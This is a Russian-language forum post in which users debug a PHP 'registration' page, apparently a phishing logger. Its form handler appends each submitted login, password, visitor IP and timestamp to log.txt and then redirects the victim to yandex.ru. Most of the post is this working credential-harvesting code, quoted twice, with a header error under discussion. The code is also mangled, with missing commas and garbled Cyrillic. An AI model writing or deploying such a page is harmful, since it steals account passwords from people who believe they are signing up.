Показать сообщение отдельно

  #9  
Старый 21.04.2008, 20:25
-=Dem0n=-
Познающий
Регистрация: 15.03.2007
Сообщений: 39
Провел на форуме:
132616

Репутация: 10
Отправить сообщение для -=Dem0n=- с помощью ICQ
По умолчанию

Цитата:
Сообщение от Buffalon  
мля((
PHP код:
<?php  
if(isset($_POST['ok']))
{
echo 
'УРА';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
    <tr>  
      <td width="25%">Login</td> 
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
    </tr> 
    <tr>  
      <td>Password</td> 
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
    <tr>  
      <td>Password2</td> 
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
    </tr> 
    <tr>  
      <td colspan="2"> 
          <input type="submit" value="Register" name="go"><br> 
        </td> 
    </tr> 
  </form>
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))
Хех только всеравно не работает!
Адрес просто добавляется в строку но не переходит.
Получается:
PHP код:

<?php  
if(isset($_POST['ok']))
{
echo 
'ÓÐÀ';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
Вот если этот код вставить в тот что выше то неработает ну сам проверь.
Предупреждение:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\1233.php:11) in Z:\home\localhost\www\1233.php on line 19м
19 строка: header('location: http://yandex.ru');
 
Ответить с цитированием